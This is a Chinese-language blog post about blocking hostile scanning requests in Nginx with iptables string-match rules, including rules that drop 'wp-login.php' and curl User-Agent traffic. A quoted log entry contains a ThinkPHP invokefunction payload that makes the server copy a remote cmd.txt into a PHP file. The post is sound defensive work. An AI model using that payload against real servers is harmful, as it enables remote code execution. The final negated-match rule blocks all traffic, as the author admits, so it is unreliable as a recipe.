zzxworld

使用 iptables 拦截 Nginx 服务中的苍蝇请求

每次检查 Nginx 的访问日志时,都会发现一些不怀好意的请求,我把这些请求称之为「苍蝇请求」。通过它们在 Nginx 访问日志中留下来的信息大致能猜到目的。有的想找网站的后台入口,有的想挂木马,有的想下载可能会存在的备份数据。所以我想通过 iptables 来拦截这类请求。

友情提示:本文需要对 Linux 下的 iptables 命令有基础的了解。如果对它还不熟悉,可以通过《iptables 命令详解和选项参考》这篇文章来快速入门。

认识苍蝇请求

接下来看看我说的「苍蝇请求」长啥样。下面是我截取的一段自己服务器上的 Nginx 访问日志:

{
  "@timestamp":"2022-11-22T03:52:06+08:00",
  "ip":"xx.xx.xx.xx",
  "protocol":"HTTP/1.1",
  "method":"GET",
  "scheme":"http",
  "server":"www.zzxworld.com",
  "port":"80",
  "uri":"/wp-login.php",
  "status":"404",
  "ref":"",
  "ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96"
}

你可能注意到我的 Nginx 日志跟默认的貌似不太一样。这是因为我配置成 JSON 输出格式了。相关的配置可以参考这篇文章:《使用 ElasticSearch + Kibana 搭建 Nginx 日志分析系统》。

通过上面的日志可以看出,这是在判断我是不是 WordPress 程序,并定位我的后台入口。这种其实还好,只能算是边敲侧击的小偷小摸行为。下面这种一上来就直接下蛊的行为显得粗暴了许多:

{
  "@timestamp":"2022-11-22T04:59:41+08:00",
  "ip":"xx.xx.xx.xx",
  "protocol":"HTTP/1.1",
  "method":"GET",
  "scheme":"https",
  "server":"www.zzxworld.com",
  "port":"443",
  "uri":"//?s=/Home/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=copy&vars%5B1%5D%5B%5D=http://.../cmd.txt&vars%5B1%5D%5B%5D=roeter.php",
  "status":"200",
  "ref":"",
  "ua":"python-requests/2.28.1"
}

只能庆幸我用的不是 WordPress,也不是 ThinkPHP 框架,否则可能会被扫描的更加频繁和深入。

另外还有这种无 HTTP 协议,无 Method,无 User Agent,无 URI 的「四无请求」:

{
  "@timestamp":"2022-11-22T07:44:31+08:00",
  "ip":"xx.xx.xx.xx",
  "protocol":"",
  "method":"",
  "scheme":"http",
  "server":"_",
  "port":"80",
  "uri":"",
  "status":"400",
  "ref":"",
  "ua":""
}

这种请求还不少,因为没留下任何有价值的线索,所以我目前也不太清楚这类请求到底有何目的。不管啥目的,我只想远离这些无价值请求的骚扰,所以准备用 iptables 来拦截它们。在拦截之前,需要先观察并总结这些请求的特征,然后再使用 iptables 对症下药。

确定拦截方案

以我的观察,大致如下:

  1. 每天都会有,但 IP 不固定。
  2. 访问的 URI 资源地址很特殊,比如 wp_login.php
  3. 部分来源的 User agent 比较显眼,类似 curl/7.74 或是 python-requests/2.28.1 这样的。一看就不是正经来源的请求。

综上,使用基于 IP 的拦截方式有点被动,也起不到预期效果。所以我想从请求的 URI 和 User agent 入手,通过这些特征来拦截。想要通过这些特征来拦截,就需要使用到 iptables 的 string 扩展。

了解 iptables string 扩展

我对 iptables 的 string 扩展模块也不是很熟,通过查询 Man page of iptables - extensions 页面,大致了解了一下它的选项和用法。

这是一个可以用来匹配指定字符串的模块,它提供了这样几个选项:

选项名称 选项说明
--algo {bm|kmp} 设置匹配模式。bmkmp 为两种不同的字符串匹配算法。bm 是 Boyer-Moore 算法,kmp 是 Knuth-Pratt-Morris 算法。
--from offset 设置搜索的开始便宜量,默认为 0。
--to offset 设置搜索的结束偏移量,默认为数据包的大小。
[!] --string pattern 匹配指定的字符串规则。
[!] --hex-string pattern 匹配指定的 16 进制格式字符串规则。
--icase 搜索时忽略大小写。

下面是一个使用 string 扩展模块的例子,将使用 GET 方法请求 /index.html 的连接信息记录到系统日志:

iptables -A INPUT -p tcp --dport 80 -m string --algo bm \
    --string 'GET /index.html' -j LOG

使用 16 进制格式字符串匹配:

iptables -A INPUT -p tcp --dport 80 -m string --algo bm \
    --hex-string '|03|www|09|zzxworld|03|com|00|' -j LOG

创建 iptables 拦截规则

参照以上 string 扩展的示例和参数,我照葫芦画瓢,写了一个拦截 wp-login.php 请求地址的规则:

iptables -A INPUT -p tcp --dport 80 \
    -m string --icase --algo bm \
    --string "wp-login.php" -j DROP

在浏览器上测试了下,只要地址中包含 wp-login.php 的请求就会像卡住了一样,一直等待着服务器端的响应。其它地址都能正常获得服务器端的响应,这说明拦截规则生效了。

举一反三,又写了一个拦截 CURL 命令请求的规则:

iptables -A INPUT -p tcp --dport 80 \
    -m string --icase --algo bm \
    --string "User-Agent: curl" -j DROP

这次是想验证下 Header 中的 User Agent 特征能否被匹配,结果是肯定的。默认的 curl 命令请求也会被卡住,只有通过 -H 选项另外指定一个不是以 curl 开头的请求头才能正常获得服务器端的响应。

不过就在我认为大功即将告成时,却碰到了一个硬骨头。看上面 string 扩展的选项列表,--string 选项的前面支持 ! 反向匹配符号。所以我写了下面这个反向匹配无 User agent 的规则:

iptables -A INPUT -p tcp --dport 80 \
    -m string --icase --algo bm \
    ! --string "User-Agent:" -j DROP

结果测试发现无论有没有 User-Agent,都会被拦截下来。string 扩展模块的帮助也没提供关于这个符号的任何内容,这让我都不太确定 ! 符号是不是反向匹配的意思了。总之就是这个匹配空 User Agent 的问题暂未解决,算是一个小遗憾。